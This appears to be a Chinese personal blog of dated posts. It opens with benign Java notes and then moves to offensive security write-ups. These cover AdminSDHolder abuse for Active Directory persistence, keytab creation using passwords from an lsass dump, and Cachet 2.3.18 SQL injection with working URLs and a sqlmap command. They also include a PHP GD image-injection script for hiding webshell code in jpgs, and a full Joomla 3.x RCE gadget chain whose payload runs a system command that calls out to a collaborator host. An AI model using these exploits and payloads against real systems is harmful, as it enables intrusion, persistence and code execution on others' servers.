另外，还有一个令人疑惑的地方就是Supplier，相关笔记请参考：

Supplier接口

如此一来，CoinType枚举类对象就拥有了一个T get()方法，即Coin get()

根据传入的CoinType类型来返回不同的Coin接口实现类的实例

现在代码我们已经完全可以看懂了，工厂模式的中心思想就是根据传入的参数来返回不同的实例

让用户更加专注于对象的使用，而不必关心对象的创建

而这其中，Coin接口的关键作用就在于它充当了Supplier<T>中的泛型T，因为两个实现类CopperCoin和GoldCoin都实现了Coin类，这样才能使用T get()方法返回不同的实例

而如果没有Coin接口，那么就需要根据不同的实例类型来创建相同数量的方法，这也正是工厂模式的优点所在

当然，工厂模式并不一定非要接口，你也可以使用抽象类甚至实体类，只不过在真正的软件开发中，大都使用接口

以前也曾看过工厂模式的java代码，但是都远没有这个看起来那么的高级

他用到了枚举类型，函数式编程、注解等特性，可以说是非常优美的代码了

java枚举 enum

2021-12-07T00:00:00+01:00

java中的枚举类有一个隐含的方法：values()

该方法会返回枚举类型的所有值

根据java官方文档的介绍，enum关键字的实现，编译器会在enum创建的时候自动加入几个特殊的方法

其中就有静态方法values()

另外枚举类还自动继承了java.lang.Enum这个类，又因为java不支持多继承，因此枚举类型无法继承任何类

Lombok库的@RequiredArgsConstructor注解

2021-12-07T00:00:00+01:00

该注解会生成带有参数的构造函数

这里的参数指的是所有final修饰的未初始化的字段以及使用了@NonNull注解修饰的字段

生成的构造函数，默认权限修饰符为public

下面为带注解的代码与不带注解的代码对比

@RequiredArgsConstructor
public class RequiredArgsDemo1 {

  private Long id;

  @NonNull
  private String username;

  @NonNull
  private String email;

  private final boolean status;
}

public class RequiredArgsDemo1 {
  private Long id;
  @NonNull
  private String username;
  @NonNull
  private String email;
  private final boolean status;

  public RequiredArgsDemo1(
      @NonNull final String username, 
      @NonNull final String email, 
      final boolean status
      ) {

    if (username == null) {
      throw new NullPointerException("username is marked non-null but is null");
    }
    if (email == null) {
      throw new NullPointerException("email is marked non-null but is null");
    }
    this.username = username;
    this.email = email;
    this.status = status;
  }
}

可以看到，使用了注解的代码相对于原始代码要简洁很多，无需我们再手动编写含参构造函数

Supplier接口

2021-12-07T00:00:00+01:00

该接口位于java.util.function包，在java 8引入，主要用于函数式编程

也就是说，被该接口修饰的变量就是一个方法，该方法不接收任何参数，但是会返回一个Supplier<T>所指定的泛型T

看下面的代码示例：

import java.util.function.Supplier;

class CopperCoin {
    static final String DESCRIPTION = "This is a copper coin.";

    public String getDescription() {
        return DESCRIPTION;
    }
}

public class Main {
    public static void main(String args[]) {
        Supplier<CopperCoin> randomValue = CopperCoin::new;

        System.out.println(randomValue.get().getDescription());
    }
}

注意看这一行：

Supplier<CopperCoin> randomValue = CopperCoin::new;

正常来讲呢，应该是一个lambda表达式的写法：

Supplier<CopperCoin> randomValue = () -> (new CopperCoin());

CopperCoin::new是在java 8中引入的一个特性，可以让你的lambda表达式变得更加简洁

编译器会自动为这种形式的代码生成接口实现代码

在本例中，实现的是Supplier接口的T get()方法

AdminSDHolder

2021-10-21T00:00:00+02:00

references：

前言

本文介绍一种Windows Active Directory持久化方式，这个手法很早以前就有了，在此记录一下

AdminSDHolder

AdminSDHolder是AD中的一个对象，它位于cn=AdminSDHolder,cn=System,DC=domain,dc=name

该对象的作用是保证受保护对象的ACL不会被篡改

这个所谓受保护的对象，是硬编码到二进制文件中的，也就是说，当你的AD域创建完成后，受保护的对象就确定下来了

下面有一张表格描述了微软的各个版本的Server中默认的受保护对象（用户组和账户）

那么它是如何保护这些对象的ACL不被篡改呢？

SD Propagation（安全描述符传播）

biaojigaoliang1持有PDC FSMO角色的DCbiaojigaoliang2默认情况下每隔1小时会执行一次SD Propagation任务，此任务的大致行为就是将所有受保护对象的ACL和AdminSDHolder的ACL进行对比，如果两者有差异，就是用AdminSDHolder的ACL覆盖掉受保护对象的ACL

下图为AdminSDHolder默认的ACL：

Domain Admins组作为受保护的对象，其ACL应该和AdminSDHolder保持一致

我们对AdminSDHolder的ACL稍微作一下修改以便更直观地理解AdminSDHolder的工作机制

我们向AdminSDHolder的ACL中添加一个用户，并赋予它特殊权限

等待PDC的下一次SD Propagation任务完成之后，我们再观察一下Domain Admins用户组的ACL是否发生了改变

可以看到，sdtest用户此时已经拥有了对Domain Admins的特殊权限

利用

通过上面的解释，我们可以通过修改AdminSDHolder的ACL来达到控制Domain Admins用户组的目的

biaojigaoliang1上面我们只赋予了sdtest用户特殊权限，如果我们给该用户赋予写入权限，那么等下一次SD Propagation完成之后，sdtest用户将拥有修改Domain Admins组成员的权限biaojigaoliang2

但是默认一个小时才进行ACL的检查与覆盖，貌似有点太久了，有没有方法可以强制进行SD Propagation呢？

答案是肯定的

根据微软的官方文档，使用LDAP（rootDSE，DN为空）连接到持有PDC FSMO角色的DC上，然后修改runProtectAdminGroupsTask属性的值为1，即可触发SD propagation

对于Windows 2008 R2及以上的版本，使用上图所示方法即可

根据文档，早于Windows 2008 R2的版本需要通过修改fixupInheritance属性来触发SD propagation，参考下图所示方法

后记

上面提到的操作都是基于GUI的，最后肯定要武器化为命令行工具，这一部分的实现不方便放出来，XDM自行摸索吧，也不难

上面触发SD Propagation的工具，可以在此处下载

从创建GPO到FSMO再到Kerberos解密

2021-09-30T00:00:00+02:00

国庆快乐！！！

references:

前言

AD域内横向方式千千万，创建GPO算一个，但是这篇文章的主题并不是如何创建GPO，而是由创建GPO所引发的一系列问题

正文

在域内，我们用于横向的工具有很多，但是大部分工具在执行命令时的身份都是NT Authority\System，比如impacket工具包中的atexec.py

在本文中，当使用atexec创建GPO时，会出现如下报错

从报错来看，我们遇到了认证错误，biaojigaoliang1可是这条创建GPO的命令是使用atexec.py在DC上使用域管的凭证运行的biaojigaoliang2，为什么还会出现认证错误呢？

这时候就需要通过审计Windows的安全日志来排查错误了，我的测试环境是两台DC，在运行命令的这台DC上我并没有发现什么可疑的登录记录，但是在另一台DC的安全日志上，我发现了下面这条日志：

192.168.46.198是刚才执行创建GPO命令的那台DC的IP，biaojigaoliang1可以看到进行认证的用户是该DC的机器账户WRSD$biaojigaoliang2

那么问题是不是出在这里呢？

biaojigaoliang1System账户在本地的权限固然无限大，它可以读写任意的对象，但是当访问网络资源时，它只是域内的一个机器账户biaojigaoliang2

那么为什么在当前DC上创建GPO需要去访问另一台DC呢？

FSMO

所谓FSMO即Flexible Single Master Operations，灵活单主机操作模式

我们都知道，Windows AD是一个多主机环境，大的企业内网中可能同时存在数十台DC，每个DC都持有一个数据库，那么肯定就牵涉到同步问题，既然有同步那么就肯定会有冲突发生，某些对象的更新冲突可以通过算法来解决，但是有一些特定的对象的更新应该极力避免冲突的产生，GPO对象就是其中一种

biaojigaoliang1这种对象只能够在众多DC中的一台上进行更新，其他DC只能够从该DC同步更新，而不能独自处理该对象的更新biaojigaoliang2

这个就叫做单主机操作模式，它的存在就是为了规避冲突的产生，FSMO角色一共有五种：

Schema master FSMO
Domain naming master FSMO
RID master FSMO
PDC模拟器FSMO
infrastructure master FSMO

每种角色的具体功能XDM自行百度，不再赘述

biaojigaoliang1我们关心的只有PDC模拟器FSMO角色，因为只有持有该角色的DC才能够对GPO进行更新，其他的DC要想对GPO进行更新必须要向该DC发起请求biaojigaoliang2

这也是上面我们执行命令的DC为什么会向另一台DC发起登录请求的原因

可以使用netdom query fsmo命令查询域内的所有FSMO角色

数据包分析

只凭一条日志我们并不能很明确地锁定问题根源，下面我们通过万能的Wireshark来分析一下网络数据包

通过创建计划任务来将用户身份提升为System账户

schtasks /create /tn gpo_create /tr "C:\1.bat" /sc monthly /d 15 /ru System

schtasks /run /tn gpo_create

运行该计划任务后即可在Wireshark中看到数据包

可以看到，并没有获取Kerberos票据的数据包，而是直接使用ldap票据请求了PDC的LDAP服务，并且认证成功了（下面的响应包返回了success）

是不是很郁闷？它哪来的票据？

即使你执行一百遍klist purge来清除本地缓存的票据，你还是抓不到Kerberos数据包

biaojigaoliang1其实原因很简单，klist purge清除的是当前用户的票据，而你需要清除的是计算机账户的票据biaojigaoliang2

你需要的是下面这条命令

klist -li 0x3e7 purge

此时再重新抓包

由于计算机账户的本地票据缓存被清除，再次创建GPO时便会重新向KDC申请票据

Kerberos keytab

此时我们引入keytab文件对Kerberos数据包进行解密

keytab即key table（秘钥表）

众所周知，Kerberos协议的第一个包通常为AS-REQ，这个数据包向KDC证明自己的身份，KDC认证通过后，会通过AS-REP数据包返回session key和tgt ticket，该数据包使用由用户密码生成的key进行加密

而keytab文件中就包含这一个key，有了这个key，Wireshark就可以解密AS-REP数据包中的session key，有了session key便可以对后续的TGS-REQ、AP-REQ数据包中的authenticator字段进行解密，这里对AP-REQ的解密还牵涉到另一个session key，具体细节XDM可以通过流程图自行分析

生成keytab的方法如下：

使用DC自带的ktpass.exe

用户账户

ktpass -out Administrator.keytab -princ Administrator@MOTHER.FUCKER -mapUser Administrator@MOTHER.FUCKER -pass qwe123... -crypto all -ptype KRB5_NT_PRINCIPAL

计算机账户

ktpass -out WIN-55D8GK824HO$.keytab -princ WIN-55D8GK824HO$@MOTHER.FUCKER -mapUser WIN-5D8GK824HO$@mother.fucker -pass "*" -crypto all -ptype KRB5_NT_PRINCIPAL setpass

计算机账户的密码可以通过dump lsass来获取到

最后加了一个setpass选项，不然会导致计算机账户重置，进而引起对应计算机与DC之间的NetLogon安全通道建立失败（计算机账户hash不一致），最后会由于信任关系建立失败而导致无法登录到该计算机

将生成好的keytab文件加载到wireshark进行解密，即可看到所有加密数据的内容

在解密后的authencator字段中可以看到账户名为计算机账户

在解密后的数据包中，我们可以看到计算机账户尝试创建GPO的整个过程（LDAP），最后由于权限不足创建失败

cachet-2.3.18前台SQL注入

2021-09-07T00:00:00+02:00

references:

环境搭建

cachet-2.3.18下载地址

用我的php破轮子搭建好环境，php版本使用php7.1，太高太低都不行

解压cachet，进入目录，执行composer install，安装依赖

然后将.env.example复制为.env文件

配置好数据库密码之后，执行php artisan app:install进行程序的安装和数据库数据迁移

然后给cachet数据库的components表加一行测试数据

漏洞分析

Cachet-2.3.18\app\Http\Routes\ApiRoutes.php

该文件声明了cache的api路由，第33行到49行，这些路由均使用中间件auth.api

这里顺便介绍一下laravel的中间件，简单来说就是介于用户的http请求和代码逻辑之间的一层处理代码，用于鉴权等操作

其中auth.api中间件接受一个bool类型的参数，默认为false，即不进行身份认证

漏洞入口在components，也就是ComponentController控制器的getComponents方法

Cachet-2.3.18\app\Http\Controllers\Api\ComponentController.php

第40行的search方法定义位于Cachet-2.3.18\app\Models\Traits\SearchableTrait.php的scopeSearch方法

该方法中有一个检查：

array_intersect(array_keys($search), $this->searchable)

如果我们传递过来的参数$search数组中的key形成的数组和$this->searchable没有交集，那么SQL查询就不会产生

$this->searchable的值为：

protected $searchable = [
    'id',
    'component_id',
    'name',
    'status',
    'visible',
];

那么只要我们查询的时候，参数名为上面中的任何一个就可以继续查询

根据路由，我们可以构造出如下查询

http://cachet.fucker:809/api/v1/components?name=1

查询可以正常进行

我们在Cachet-2.3.18\app\Models\Traits\SearchableTrait.php的第41行下断点，然后一路跟进到Cachet-2.3.18\vendor\laravel\framework\src\Illuminate\Database\Query\Builder.php的addArrayOfWheres方法：

protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
    return $this->whereNested(function ($query) use ($column, $method) {
        foreach ($column as $key => $value) {
            //如果键是一个数字，且值是一个数组，那么就把数组当作参数，调用$query->where方法
            //如果$value有四个元素（id、=、1、and），依次是字段名、操作符、操作值、条件连接符
            //形如and id=1
            if (is_numeric($key) && is_array($value)) {
                call_user_func_array([$query, $method], $value);
            } else {
                $query->$method($key, '=', $value);
            }
        }
    }, $boolean);
}

因此我们可以构造出如下请求

http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=motherfucker

可以看到，我们的motherfucker进入了预编译的查询语句

biaojigaoliang1laravel并未对条件连接符进行防注入处理，我们的字符可以直接注入进去biaojigaoliang2

进一步构造

http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=) or 1=1%23

正常来讲，我们这时候应该已经能够查询出来数据了，但是查询结果仍然是空的

这里困扰了我挺久的，而且在debug的过程中，一直我也没看到?被替换的SQL语句，只能看到预编译语句（带?）

后来干脆用wireshark抓了一下包

可以看到，客户端只发送了Request Prepare Statement数据包，然后就直接发送了Request Close Statement包

正常情况下，中间还会发送一个Request Execute Statement包，说明我的SQL语句根本就没执行

后来了解了一下MySQL的预处理机制，就是说数据查询是分两步，第一步是先提交预处理语句给服务器，待替换参数使用?标记，然后后续的查询，只需要提交对应的参数即可，如下所示：

mysql>  PREPARE stmt1 FROM 'select count(*) as aggregate from `components` where `enabled` = ? and (`name` = ? ) or 1=1# `a` = ?) and `components`.`deleted_at` is null';
Query OK, 0 rows affected
Statement prepared

mysql> SET @a = true;
Query OK, 0 rows affected

mysql> SET @b = 1;
Query OK, 0 rows affected

mysql> sET @c = 2;
Query OK, 0 rows affected

mysql> EXECUTE stmt1 USING @a, @b, @c;
1210 - Incorrect arguments to EXECUTE
mysql> EXECUTE stmt1 USING @a, @b;
+-----------+
| aggregate |
+-----------+
|         1 |
+-----------+
1 row in set

biaojigaoliang1我将我没有查询出来数据的语句进行预处理，然后定义3个变量，并使用这3个变量执行了预处理语句，直接报错，提示参数数量错误，后面改成2个，就可以正常查询了biaojigaoliang2

biaojigaoliang1这说明了laravel在发送Request Execute Statement数据包之前，已经自己进行了校验，但是具体代码我并没有找到biaojigaoliang2

因此现在我们只需要按照如下方式进行请求的构造即可：

http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) or 1=1%23

成功查询出来数据

然后将1=1改成1=2

未查询出数据，SQL盲注存在

biaojigaoliang1这里由于是存在两个SQL查询语句，且两个语句的列数不一致，因此无法构造union注入，不管怎么写，两条语句都至少会有一条报列数不相等的错误，无法同时满足biaojigaoliang2

sqlmap跑一下

python2.7 sqlmap.py -u "http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) *%23" --technique=B --level=5

跑了两次，分别跑出了时间盲注和布尔盲注

可以跑出数据

总结

这个洞吧，我感觉应该是laravel框架的洞，如果不是他没有对参数进行过滤，这个注入也不会出现

不足之处XDM多指点

php GD库jpg注入

2021-07-21T00:00:00+02:00

参考链接：

前言

某些网站对用户上传的图片没有经过严谨的过滤，不限制文件后缀，只是将用户上传上来的图片使用PHP的gd库处理了一下：

<?php
(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>

我们可以通过上传正常图片，更改后缀为php，然后进行访问，根据显示的内容来判断目标是否使用了gd库：

绕过

对于这种处理方式，我们可以通过往图片中注入php代码来进行绕过

biaojigaoliang1直接往图片中追加php代码是不行的，这样会破坏图片的完整性，imagecreatefromjpeg在处理这样的图片时会抹除所有的字节，我们必须要在特定的位置进行代码的注入biaojigaoliang2

biaojigaoliang1关于这个问题，网上已经有前辈做了相关的研究，在jpg图片的Scan Header00 0C 03 01 00 02 11 03 11 00 3F 00后面插入代码有概率绕过gd库的imagecreatefromjpeg函数biaojigaoliang2

之所以说是有概率绕过，是因为在我实际测试的过程中，并不是所有的图片都可以成功注入，有些图片只在Scan Header后注入进了2~3个字节，后面的全变成了乱码，这个biaojigaoliang1具体原因我不清楚biaojigaoliang2

具体的绕过过程需要用到两个脚本：

php-gd.php：

<?php

//php gd.php image.jpg gd-image.jpg 0-100[optional]

(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>

jpeg-injector.py：

#!/usr/bin/python3
import sys
import binascii
import os

MAGIC_NUMBER = "03010002110311003f00"
BIN_MAGIC_NUMBER = binascii.unhexlify(MAGIC_NUMBER)

def main():
    path_to_vector_image = sys.argv[1]
    payload_code = "<?php phpinfo();?>"
    path_to_output = sys.argv[2]

    with open(path_to_vector_image, 'rb') as vector_file:
        bin_vector_data = vector_file.read()

        print("[ ] Searching for magic number...")
        magic_number_index = find_magic_number_index(bin_vector_data)

        if magic_number_index >=0:
            print("[+] Found magic number.")
            with open(path_to_output, 'wb') as infected_file:
                print("[ ] Injecting payload...")
                infected_file.write(
                    inject_payload(
                        bin_vector_data,
                        magic_number_index,
                        payload_code))
                print("[+] Payload written.")
        else:
            print("[-] Magic number not found. Exiting.")

def find_magic_number_index(
        data: bytes) -> int:
    return data.find(BIN_MAGIC_NUMBER)

def inject_payload(
        vector: bytes,
        index: int,
        payload: str) -> bytes:

    bin_payload = payload.encode()

    pre_payload = vector[:index + len(BIN_MAGIC_NUMBER)]
    post_payload = vector[index + len(BIN_MAGIC_NUMBER) + len(bin_payload):]

    return (pre_payload + bin_payload + post_payload)

if __name__ == "__main__":
    main()

由于并不是所有的图片都可以进行成功注入，我们可能需要大批量的进行测试，我编写了几个脚本来帮助简化测试

首先，将本机所有的jpg图片复制到同一个目录中：

sudo find / -name '*.jpg' -exec cp "{}" /tmp/jpgs  \;

然后我们需要将所有的图片用gd处理一下，因为注入之后我们还需要再gd处理一次，预处理是为了使图片的头部一致，便于对比

预处理脚本：

#!/bin/bash
search_dir="/tmp/jpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/gdjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  php /tmp/php-gd.php $entry $dstfilename
  echo "$entry"
done

注入脚本：

#!/bin/bash
search_dir="/tmp/gdjpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/injectedjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  python3 /tmp/jpeg-injector.py $entry $dstfilename
  echo "$entry"
done

再进行一次gd渲染：

#!/bin/bash
search_dir="/tmp/injectedjpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/gdinjectedjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  php /tmp/php-gd.php $entry $dstfilename
  echo "$entry"
done

理论上来讲，预处理步骤可以省去，这个我没测试，XDM可以自行测试

查找注入成功的图片：

import binascii
import os

for root,dirs,files in os.walk(r"/tmp/gdinjectedjpgs"):
    for file in files:
        imagepath = os.path.join(root,file)
        with open(imagepath, 'rb') as f:
            hexdata = binascii.hexlify(f.read())
            ascii_string = hexdata.decode('utf-8')
            if ascii_string.find("3c3f70687020706870696e666f28293b3f3e") != -1:
                print("bingo!")
                print(imagepath)

其中3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的16进制对应的字符串，这个跟你前面在jpeg-injector.py中的第11行硬编码的payload的值有关

正常情况下，至少应该有一两个注入成功，如果一个都没有，你可能需要更多的jpg文件来进行测试

End

我不能直接把做好的图片放出来，懂的都懂

biaojigaoliang1另外，在本地使用gd进行图片的处理时最好使用和目标php版本一致的phpbiaojigaoliang2

Joomla! CMS 3.0~3.4.6 RCE

2021-07-08T00:00:00+02:00

参考链接：

概述

这个漏洞是由于Joomla在处理session数据的部分引起的

关键代码就在session handler的read和write方法处：

\libraries\joomla\session\storage\database.php第46和71行

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

biaojigaoliang1由Joomla处理而产生的\0只会占一个字节，因为它原来是空字节和*字符，所以在序列化的数据中s:3:\0\0\0是正常的，但是如果我们手动注入了\0\0\0字符，那么序列化的数据就是s:6:\0\0\0，但是read方法会把\0\0\0替换为Null*Null，替换之后只占3个字节，多出来的这3字节就给了我们可乘之机，，对象注入就是从这里产生的biaojigaoliang2

分析

下面的内容实际上是对网上exp的分析，biaojigaoliang1不同的是网上公开的exp使用的是序列化数据中的username和password字段，但是这个不具有普遍性，因为它需要能够访问index.php/components/user.php，并不是所有的网站都会处理这个请求，在下面的分析中，我选择通过user-agent和x-forwaard-for这两个http头进行漏洞利用biaojigaoliang2

因为只要两个字段是连续的即可，前一个字段用于撑大空间，后一个字段用于注入对象，因此除了username和password字段，x-forwarded-for和user-agent字段也是可以实现的

预备知识

这是一段正常的Joomla session数据：

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625763909;s:18:"session.timer.last";i:1625763909;s:17:"session.timer.now";i:1625763909;s:22:"session.client.browser";s:131:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"56bb4f43d168909f6df0e1a50fd84b17";}

这里需要注意的是，php序列化session用的方法和serialize方法是不完全一样的，它的一般格式为：

key|serialize data

biaojigaoliang1除了前面的键和|，后面的序列化数据和serialize函数产生的序列化数据是一致的biaojigaoliang2

对于对象的序列化，不同的权限修饰符下的成员变量序列化之后的数据也是有差异的：

<?php
class TestClass {
    PermissionDecorator $testMember;
    public function __construct($t)
    {
        $this->testMember = $t;
    }
}
$data = new TestClass("fuckyou");

public：

"O:9:"TestClass":1:{s:10:"testMember";s:7:"fuckyou";}"

protected：

"O:9:"TestClass":1:{s:13:"\x00*\x00testMember";s:7:"fuckyou";}"

private：

"O:9:"TestClass":1:{s:21:"\x00TestClass\x00testMember";s:7:"fuckyou";}"

准备对象构造

我们先来看一下正常的user-agent和x-forwarded-for序列化之后的样子

__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625766121;s:18:"session.timer.last";i:1625766121;s:17:"session.timer.now";i:1625766121;s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"633f966f72f7287671a24606baed1113";}

s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";

如果把上面的normal_user_agent替换成normal_user_agent";SerializedObject，那么我们就有可能完成对象的注入，唯一的问题是前面有一个s:17限制我们的长度，导致session反序列化失败，无法完成对象注入

结合前面的\0\0\0替换漏洞，我们可以往ormal_x_for_warded_for中添加若干组\0\0\0来扩大s:23中的23，以囊括

session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent

其实就是一个简单的方程式：

6x + 23 = 3x + 55 + 23  ==> 3x = 55

23是normal_x_for_warded_for的长度，55是";s:22:"session.client.browser";s:17:"normal_user_agent的长度

除不尽，只需要往normal_user_agent再加2个字符即可；

3x = 57  ==>  x=19

这是构造完的http请求对应的session数据

hj__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625767987;s:18:"session.timer.last";i:1625767987;s:17:"session.timer.now";i:1625767987;s:24:"session.client.forwarded";s:137:"normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:22:"session.client.browser";s:33:"normal_user_agent12";ObjectInject";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b4131b29f0fae45b8d98576b25ceb35a";}

Joomla在read session数据时，将\0\0\0替换成Null*Null，也就是将6字节缩短为3字节，那么上面数据中的137也就缩短为80了，加上后面的

";s:22:"session.client.browser";s:33:"normal_user_agent12

biaojigaoliang1长度为57，正好是137，这样我们注入的对象就逃逸出来了biaojigaoliang2

构造对象序列化字符串

选择libraries\joomla\database\driver\mysqli.php作为反序列化对象，因为它的析构函数中调用了disconnect方法，而该方法中调用了call_user_func_array方法，而且第一个参数是可控的：$this->disconnectHandlers

call_user_func_array函数的第一个参数可以是一个数组：

call_user_func_array(array(object function), args);

那么最后调用的形式为：

object.function(args);

这里我们虽然控制不了传递给方法的参数，但是我们可以控制调用的方法

我们选择使用libraries\simplepie\simplepie.php中的SimplePie对象的init方法

第1550行：

$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

这里可以看到call_user_func方法的两个参数我们全部可以控制，进而达到RCE

简单看一下SimplePie的init方法的代码我们就可以写出下面的exp：

<?php

namespace {
    class JSimplepieFactory {

    }
}

namespace {
    class SimplePie_Sanitize {

    }
}

namespace {
    class SimplePie {
        public $sanitize;
        public $raw_data;
        public $feed_url;
        public $cache_name_function;

    }
}

namespace {
    class JDatabaseDriverMysqli {
        //我们需要伪造一个成员变量JSimplepieFactory对象，来引入SimplePie类文件
        protected $justincase;

        protected $disconnectHandlers;
        protected $connection;

        public function __construct($justincase, $disconnectHandlers, $connection) {
            $this->justincase = $justincase;
            $this->disconnectHandlers = $disconnectHandlers;
            $this->connection = $connection;
        }
    }
}

namespace {
    require __DIR__.'/vendor/autoload.php';

    $a = new \SimplePie;

    $a->sanitize = new \SimplePie_Sanitize;
    $a->raw_data = "12138";
    $a->feed_url = "print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";
    $a->cache_name_function = "assert";

    $b = new \JDatabaseDriverMysqli(new \JSimplepieFactory, array(array($a, "init")), 1);

    dump(serialize($b));
}
?>

上面有一个值得注意的地方，就是伪造了一个在JDatabaseDriverMysqli类定义中根本不存在的成员变量$justincase，并将其值设置为一个JSimplepieFactory对象，这是因为我们使用的SimplePie类并不在Joomla的类查找路径中，也没有被自动加载到应用中，它是由libraries\legacy\simplepie\factory.php引入的

第12行：

jimport('simplepie.simplepie');

我们通过伪造这个成员变量，让php初始化JSimplepieFactory类，进而达到引入SimplePie类的目的

上面的exp生成的序列化字符串如下：

O:21:"JDatabaseDriverMysqli":3:{s:13:"\x00*\x00justincase";O:17:"JSimplepieFactory":0:{}s:21:"\x00*\x00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\x00*\x00connection";i:1;}

漏洞利用

